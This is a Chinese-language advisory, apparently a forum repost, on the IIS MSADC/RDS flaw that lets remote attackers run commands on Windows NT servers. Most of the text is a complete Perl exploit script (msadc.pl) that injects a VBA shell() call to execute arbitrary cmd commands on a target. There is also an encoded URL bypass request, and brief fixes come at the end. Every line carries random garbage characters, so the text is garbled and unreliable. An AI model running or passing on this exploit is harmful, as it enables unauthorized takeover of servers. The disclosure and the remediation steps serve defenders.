IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
5e LPn 8B+uNN~%] 涉及程序：
O`=Uq0Vv Microsoft NT server
72 6y/o 8xX{y# 描述：
2P=;r:cx 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
HHYcFoJwYN K v7NCpq' 详细：
O?!"15 如果你没有时间读详细内容的话，就删除:
%'HUC>ChN c:\Program Files\Common Files\System\Msadc\msadcs.dll
>']H )c' 2 有关的安全问题就没有了。
9<a yQ* 7ou^wt+% 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
iI1t
P Ame%:K!t 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
^:j$p,0e*S 关于利用ODBC远程漏洞的描述，请参看:
b+hY^$// . <B1i http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WToAT;d2h ]*|K8&jxl 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
||4Dtg
K http://www.microsoft.com/security/bulletins/MS99-025faq.asp j$^]WRt 5ZVTI,4K 这里不再论述。
k.ZfjX" -{h[W bf 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
LcXMOT)s 'w2;oO /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&}cie"\L 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
DbN'b(+ Q [{v U F*4+7$E0B #将下面这段保存为txt文件，然后: "perl -x 文件名"
E'G>'c W;x =-qsz^^a- #!perl
v`&Z.9!Tz^ #
ob{pQ x7 # MSADC/RDS 'usage' (aka exploit) script
~ #CCRUhM #
J (h> # by rain.forest.puppy
1 GdD #
Q
Y'-] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
lu_Gr=#O # beta test and find errors!
5o/rV.I Jy_'(hG use Socket; use Getopt::Std;
d
eg>m?Y getopts("e:vd:h:XR", \%args);
P]B#i1 Os{qpR^<I: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
p2G8 Qls o__q)"^~- if (!defined $args{h} && !defined $args{R}) {
ZAZCvN@5 print qq~
[/G;XHL;? Usage: msadc.pl -h <host> { -d <delay> -X -v }
&[kgrRF@HU -h <host> = host you want to scan (ip or domain)
D;]% -d <seconds> = delay between calls, default 1 second
0, /x# -X = dump Index Server path table, if available
8GldVn.u -v = verbose
"> 3@<f> -e = external dictionary file for step 5
+0Gep}&z. Kcl $|T Or a -R will resume a command session
a"}#HvB+ AX+d? M ~; exit;}
''uI+>Y p/h&_^EXU $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~-d.3A $u if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
iC-ABOOu{l if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
BvF _9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#=(op?] $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ef.4.iDJrR if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
fXe-U=' ak `) > if (!defined $args{R}){ $ret = &has_msadc;
gf?^yP ;V die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
;Oy>-Ij5P - (1\ `g07 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.h,xBT`}Ji . "cmd /c ";
KU,w9<~i( $in=<STDIN>; chomp $in;
r zDJH:W{2 $command="cmd /c " . $in ;
4& e@> ?LI9F7n if (defined $args{R}) {&load; exit;}
BA,6f?ktXS s.' \&B[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
p;$9W+H0 &try_btcustmr;
: !3 y>bP) Nl` ry 2"< print "\nStep 2: Trying to make our own DSN...";
C4]%pi &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2< Bv=B @88i/ Z_ print "\nStep 3: Trying known DSNs...";
v v/,Rgv &known_dsn;
^z^e*<{WEl I!gj; a?R print "\nStep 4: Trying known .mdbs...";
9
w1ONw8v &known_mdb;
]0 RX o3 T+R I8.#o if (defined $args{e}){
'*u;:[73 print "\nStep 5: Trying dictionary of DSN names...";
\_nmfTr!K &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
y PYJ c "R@N|Qx' print "Sorry Charley...maybe next time?\n";
u=o"^ exit;
@BUqQ9q: AijTT% ##############################################################################
$?A A" Nz A( OfG&! sub sendraw { # ripped and modded from whisker
}Xj_Y]T sleep($delay); # it's a DoS on the server! At least on mine...
d~-p;i my ($pstr)=@_;
*)1Vs'!- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Wxau]uix die("Socket problems\n");
[P=[ h j; if(connect(S,pack "SnA4x8",2,80,$target)){
o!`O
i5 select(S); $|=1;
><Z3<7K9 print $pstr; my @in=<S>;
n ~u3 select(STDOUT); close(S);
J+jmSK%z return @in;
Uy 5 !H1u } else { die("Can't connect...\n"); }}
:gscW& k KTjlWxD ##############################################################################
,, %:vK+V VHr7GAmU sub make_header { # make the HTTP request
cu aNAJ my $msadc=<<EOT
,Bw )n, POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
W#I:j: p User-Agent: ACTIVEDATA
,M.! z@ Host: $ip
qlITQKGG Content-Length: $clen
QM_X2Ho Connection: Keep-Alive
r/hyW6e_ cO+Xzd;838 ADCClientVersion:01.06
V< ApHb Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
fGf-fh;s ikN!ut --!ADM!ROX!YOUR!WORLD!
8<g#$(a_E Content-Type: application/x-varg
exO#>th1 Content-Length: $reqlen
[ []SkLZHg ?7MwTi8{F EOT
tQ/
#t<4D ; $msadc=~s/\n/\r\n/g;
HJaw\zbL return $msadc;}
lkH;N<U `k]!6osZo ##############################################################################
E? eWv)// }?]yxa ~ sub make_req { # make the RDS request
[~c'|E 8Q my ($switch, $p1, $p2)=@_;
<o!&Kk 9 my $req=""; my $t1, $t2, $query, $dsn;
Nv?-*& L |"YA<e
%
if ($switch==1){ # this is the btcustmr.mdb query
/CI%XocB $query="Select * from Customers where City=" . make_shell();
?koxt4 4 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+O$: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
*UBP]w 2k}-25xxL elsif ($switch==2){ # this is general make table query
) HX:U0 $query="create table AZZ (B int, C varchar(10))";
(s$u_aq 77 $dsn="$p1";}
? x"HX|n KBw9( elsif ($switch==3){ # this is general exploit table query
r<X 4ER $query="select * from AZZ where C=" . make_shell();
%aH$Tb%`hc $dsn="$p1";}
guOSO@ Kka8cG elsif ($switch==4){ # attempt to hork file info from index server
,{{#a*nd $query="select path from scope()";
H >:4MY $dsn="Provider=MSIDXS;";}
a=* ALd_&0 /8>0; bX+ elsif ($switch==5){ # bad query
=vr Y{5!> $query="select";
!Wixs]od
$dsn="$p1";}
+ sywgb ) 5rml Aq $t1= make_unicode($query);
t'Eb#Nup3 $t2= make_unicode($dsn);
S6T!qH{6 $req = "\x02\x00\x03\x00";
juMxl $req.= "\x08\x00" . pack ("S1", length($t1));
tpa^k $req.= "\x00\x00" . $t1 ;
(#bp`Kih $req.= "\x08\x00" . pack ("S1", length($t2));
xd|~+4 $req.= "\x00\x00" . $t2 ;
!A SoXQRz $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
=,4
' " return $req;}
K6v
$#{$6 o)#q9Vk%b ##############################################################################
Seq ]NkgY i#R ElH sub make_shell { # this makes the shell() statement
~ |'y+h89 return "'|shell(\"$command\")|'";}
w3<"g&n| b
H"}w$!>r ##############################################################################
f `y"
a@ j!x<QNNX sub make_unicode { # quick little function to convert to unicode
n</k/Mk} my ($in)=@_; my $out;
p ,w|=@= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
w53z*l>e k return $out;}
}F{C= l2 G(As%r] ##############################################################################
GG_^K#* @P_C%}(< sub rdo_success { # checks for RDO return success (this is kludge)
@A2/@]H Bm my (@in) = @_; my $base=content_start(@in);
)WVItqQKV if($in[$base]=~/multipart\/mixed/){
eu}Fd@ GO return 1 if( $in[$base+10]=~/^\x09\x00/ );}
B;GxfYj return 0;}
L1 9 MP x2C/L ##############################################################################
=t 3vbV N.0HfYf sub make_dsn { # this makes a DSN for us
Ht|",1yr+ my @drives=("c","d","e","f");
$N;"}G z print "\nMaking DSN: ";
j|[(*i%7| foreach $drive (@drives) {
H DF"]l; print "$drive: ";
3}B5hht "D my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ADYx.8M|9i "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
8cK\myn. . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
=w ^TcV $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
lf%b0na?r return 0 if $2 eq "404"; # not found/doesn't exist
>f\zCT%cf if($2 eq "200") {
|66m` < foreach $line (@results) {
E O#gUv return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Fn86E dFM } return 0;}
d7"U WY^ bQwdgc),s{ ##############################################################################
L$1K7<i. "xvtq i,R sub verify_exists {
|N:MZ#}; my ($page)=@_;
dD/t_ {h my @results=sendraw("GET $page HTTP/1.0\n\n");
PwW^y#96 return $results[0];}
sDLS*467 :1aL9 fT ##############################################################################
CAUi jMI@ A\".t=+7
sub try_btcustmr {
;Z ]<S_#- my @drives=("c","d","e","f");
Fn:.Y8%- my @dirs=("winnt","winnt35","winnt351","win","windows");
VQ`,#`wV &/](HLd F foreach $dir (@dirs) {
iV?` i print "$dir -> "; # fun status so you can see progress
J` w]}GlH foreach $drive (@drives) {
T3PX gL)o print "$drive: "; # ditto
^|wT_ k\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
2GSgG.%SSM $reqlenlen=length( "$reqlen" );
k)`$%[K8 $clen= 206 + $reqlenlen + $reqlen;
!0Idp% `n
3FT= my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\F 3C=M@: if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
M#OH Y * else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
/Q?~Q0{)es dgS4w@)@V; ##############################################################################
)xB$LJM8 dh&W; zs sub odbc_error {
2m_'z my (@in)=@_; my $base;
1"}B]5! my $base = content_start(@in);
br0u@G if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
p? Ed-
S $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sFLcOPj -% $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
B?SNea,I4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
k}D[Hp:m return $in[$base+4].$in[$base+5].$in[$base+6];}
PzjaCp' print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
4,2(nYF print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
BwC<rOU $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
|*:tyP%m^ 5k69F ##############################################################################
RCI4~q aH%ZetLNJ sub verbose {
E;6~R M: my ($in)=@_;
!:(C"}5wM return if !$verbose;
np\s t7&f6 print STDOUT "\n$in\n";}
d CE\^q[{ bA}Z0 a ##############################################################################
rO0ZtC{K %c] nWR+/ sub save {
;a |`s my ($p1, $p2, $p3, $p4)=@_;
=H[\%O~?b open(OUT, ">rds.save") || print "Problem saving parameters...\n";
#(6) ^ ( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
)ZGYh E close OUT;}
[-\ ({<t3x 25d\!3#E ##############################################################################
*B1 x`=
"K ,bH sub load {
U P \C"\ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
YMT8p\ #rp open(IN,"<rds.save") || die("Couldn't open rds.save\n");
0<g<GQ(E @p=<IN>; close(IN);
& g:%*>7P $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
aqF+zPKs6 $target= inet_aton($ip) || die("inet_aton problems");
R'SBd}1 print "Resuming to $ip ...";
,eDD:#)$} $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
R :"+ #Sq if($p[1]==1) {
S?L#N $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
EZ<80G $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
eJ)1K my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
RU0i#s uiz if (rdo_success(@results)){print "Success!\n";}
YZ+>\ x else { print "failed\n"; verbose(odbc_error(@results));}}
:X_C FW elsif ($p[1]==3){
\eQ la8s if(run_query("$p[3]")){
wUoiXi09 print "Success!\n";} else { print "failed\n"; }}
Q"%QQo}} elsif ($p[1]==4){
Z?17Pu'Dp if(run_query($drvst . "$p[3]")){
}!8nO; print "Success!\n"; } else { print "failed\n"; }}
d<x1*a exit;}
|QVr `tE< !tU'J"Zy ##############################################################################
A:eFd]E{( PL@~Ys0 sub create_table {
iU5P$7 .p my ($in)=@_;
L}$z/ jo $reqlen=length( make_req(2,$in,"") ) - 28;
+{.780| $reqlenlen=length( "$reqlen" );
n#BvW, 6J $clen= 206 + $reqlenlen + $reqlen;
IU|kNBo my @results=sendraw(make_header() . make_req(2,$in,""));
daslaa_A return 1 if rdo_success(@results);
;WD,x:>blO my $temp= odbc_error(@results); verbose($temp);
f^p^Y
F+ return 1 if $temp=~/Table 'AZZ' already exists/;
GW3>&j_!d return 0;}
w$j{Hp6m ~^&R #4J ##############################################################################
II;Te7~ TnNWO+ kg sub known_dsn {
y7z( &M@ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
o'Wz*oY))\ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5;m RGY "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>7'+ye6z "banner", "banners", "ads", "ADCDemo", "ADCTest");
Z\Z,,g+WL := <0=JE# foreach $dSn (@dsns) {
}_}KVI print ".";
t0Zk-/s next if (!is_access("DSN=$dSn"));
BC! 6O/kr if(create_table("DSN=$dSn")){
U]hF
print "$dSn successful\n";
hv>KX if(run_query("DSN=$dSn")){
ZjD)? 4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
'^iUx,,ZQ print "Something's borked. Use verbose next time\n";}}} print "\n";}
ZIpD{ >/ nO{ x^b < ##############################################################################
nA_%2F'W } o5swH6Y.)J sub is_access {
lpy:3`ti my ($in)=@_;
sWHyL(C@ $reqlen=length( make_req(5,$in,"") ) - 28;
Izn
T|l^ $reqlenlen=length( "$reqlen" );
<s X VW $clen= 206 + $reqlenlen + $reqlen;
XJ gh>^R^ my @results=sendraw(make_header() . make_req(5,$in,""));
7+nm31,<O my $temp= odbc_error(@results);
>{5
p0 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
E T:T7 return 0;}
{\G `]r-cM +;Cr];b3 ##############################################################################
#DFp[\)1 =gjDCx$| sub run_query {
@g-G
=Ba my ($in)=@_;
sI,W% I':d $reqlen=length( make_req(3,$in,"") ) - 28;
PcC/_+2 $reqlenlen=length( "$reqlen" );
,%[4j9#!_ $clen= 206 + $reqlenlen + $reqlen;
"R[l ZJ@ my @results=sendraw(make_header() . make_req(3,$in,""));
`G!M>h@ return 1 if rdo_success(@results);
JoZ(_Jh%m my $temp= odbc_error(@results); verbose($temp);
*fnvZw? return 0;}
D!F 2 l_ Bz / @c) ##############################################################################
ObG=>WPJa j6S"UwJjp sub known_mdb {
s5D : my @drives=("c","d","e","f","g");
n2f6 p<8A my @dirs=("winnt","winnt35","winnt351","win","windows");
# HAC*n my $dir, $drive, $mdb;
/_t|Dry015 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$*f?&U]k pKT2 ^Q}-h # this is sparse, because I don't know of many
y('k`>C my @sysmdbs=( "\\catroot\\icatalog.mdb",
RWKH%C[Yd "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
6>`c1
\8f "\\system32\\certmdb.mdb",
=\};it{u "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
8Pmdk1 ~ 0;<)\Wt=i9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
h
Dk)Qg "\\cfusion\\cfapps\\forums\\forums_.mdb",
!GwL ,)0@^ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
-Z0+oU(?YE "\\cfusion\\cfapps\\security\\realm_.mdb",
X g7|JS! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6N~q`;p0 "\\cfusion\\database\\cfexamples.mdb",
pOT7;-#n "\\cfusion\\database\\cfsnippets.mdb",
CnISe^h "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
uw AwWgl "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
G[,Q95`w?< "\\cfusion\\brighttiger\\database\\cleam.mdb",
X~oK[Nf'9 "\\cfusion\\database\\smpolicy.mdb",
3j Z6kfj "\\cfusion\\database\cypress.mdb",
iW%8/$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
V }WB*bE "\\website\\cgi-win\\dbsample.mdb",
Ki br ]w "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Hfym 30 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
N&,]^>^u ); #these are just
fv!?Ga( foreach $drive (@drives) {
-/P \"c foreach $dir (@dirs){
.}B(&*9,v foreach $mdb (@sysmdbs) {
X4|4QgY print ".";
x =q; O+7] if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
~" i0x print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
U{@5*4 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T/1gI9 X print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
rl08 R } else { print "Something's borked. Use verbose next time\n"; }}}}}
|7k_N|E J h&~ToF! foreach $drive (@drives) {
qS| \JG foreach $mdb (@mdbs) {
hk[
%a$Y print ".";
r^Zg-|gr if(create_table($drv . $drive . $dir . $mdb)){
PcT?<HU print "\n" . $drive . $dir . $mdb . " successful\n";
%]2, & if(run_query($drv . $drive . $dir . $mdb)){
fHRM u:q print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{)8>jxQN } else { print "Something's borked. Use verbose next time\n"; }}}}
d5`3wd]]'v }
lQ' GX9hN@ '' O 7=\ ##############################################################################
Dd/wUP r SkUSe6 sub hork_idx {
V[o`\|< print "\nAttempting to dump Index Server tables...\n";
c0 & Rg# print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
*)M49a*UD $reqlen=length( make_req(4,"","") ) - 28;
Gh.[dF? $reqlenlen=length( "$reqlen" );
7&qy5 y-Ap $clen= 206 + $reqlenlen + $reqlen;
6!'3oN{ my @results=sendraw2(make_header() . make_req(4,"",""));
(Qo I<j"" if (rdo_success(@results)){
ZyrI R my $max=@results; my $c; my %d;
(xHf4[[u for($c=19; $c<$max; $c++){
h:Gu`+D>W $results[$c]=~s/\x00//g;
z`Uh B%-? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
:a
->0 l $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
pi<TFe@eG $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
2;a(8^n $d{"$1$2"}="";}
jRSUp
E8 foreach $c (keys %d){ print "$c\n"; }
}|u4 W?H } else {print "Index server doesn't seem to be installed.\n"; }}
Qv,"($n\ ?']5dD ##############################################################################
l*\y PYbVy<xc sub dsn_dict {
}G4 z tiuG open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*t[. =_v while(<IN>){
E :9"cxx $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Ez|oN , next if (!is_access("DSN=$dSn"));
FKNMtp[` if(create_table("DSN=$dSn")){
J_ x13EaV0 print "$dSn successful\n";
=U%Rvm if(run_query("DSN=$dSn")){
- K9c@ ? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p$ Ox'A4 print "Something's borked. Use verbose next time\n";}}}
1cS}J:0P print "\n"; close(IN);}
8>,jpAN}r S"w R%\NIp ##############################################################################
7(5xL T$ Lzu.)C@Amx sub sendraw2 { # ripped and modded from whisker
ho##Z*O sleep($delay); # it's a DoS on the server! At least on mine...
)E @ A0 W my ($pstr)=@_;
@=}YTt q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0U%f)mG die("Socket problems\n");
X/iT)R]b if(connect(S,pack "SnA4x8",2,80,$target)){
vVE2m=!v print "Connected. Getting data";
1N7Kv4, open(OUT,">raw.out"); my @in;
]QzGE8jp* select(S); $|=1; print $pstr;
%?e& WLS while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
N(I& close(OUT); select(STDOUT); close(S); return @in;
n a9sm } else { die("Can't connect...\n"); }}
]gYz
4OT ~0beuK&p ##############################################################################
kY*rb_2j L#E]
BY sub content_start { # this will take in the server headers
H,Z;=N_ my (@in)=@_; my $c;
r E}%KsZ for ($c=1;$c<500;$c++) {
f7m%|v! if($in[$c] =~/^\x0d\x0a/){
IiY/(N+J if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
+L7n< U3 else { return $c+1; }}}
$STaQ28C return -1;} # it should never get here actually
]IoUwg pI) VeW>[08 ##############################################################################
ek#O3O z S H! sub funky {
anXc| my (@in)=@_; my $error=odbc_error(@in);
0g0i4IV if($error=~/ADO could not find the specified provider/){
bbrXgQ`s+w print "\nServer returned an ADO miscofiguration message\nAborting.\n";
c-B
cA exit;}
9 FB19 if($error=~/A Handler is required/){
WZ.@UN, print "\nServer has custom handler filters (they most likely are patched)\n";
zuUW|r exit;}
!o:f$6EA~C if($error=~/specified Handler has denied Access/){
]H`1F1= print "\nServer has custom handler filters (they most likely are patched)\n";
R hncBKm*M exit;}}
Ney/[3 A 8C*c{(4 ##############################################################################
SHe49!RA'{ ^s|6vd;PD= sub has_msadc {
S:h{2{ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
xai*CY@cQ my $base=content_start(@results);
.Y&)4+ckL return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
: Zlwp6 return 0;}
;M)QwF1 z6*X%6,8 ########################
rJG f .qJJ wK?vPS Tj:B!>> 解决方案：
`$ 6rz 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~ _/(t'9 2、移除web 目录: /msadc
